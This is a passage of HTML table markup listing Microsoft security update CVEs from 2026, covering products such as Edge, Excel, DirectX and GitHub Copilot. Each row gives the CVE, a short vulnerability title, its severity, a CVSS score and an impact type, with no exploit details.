  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
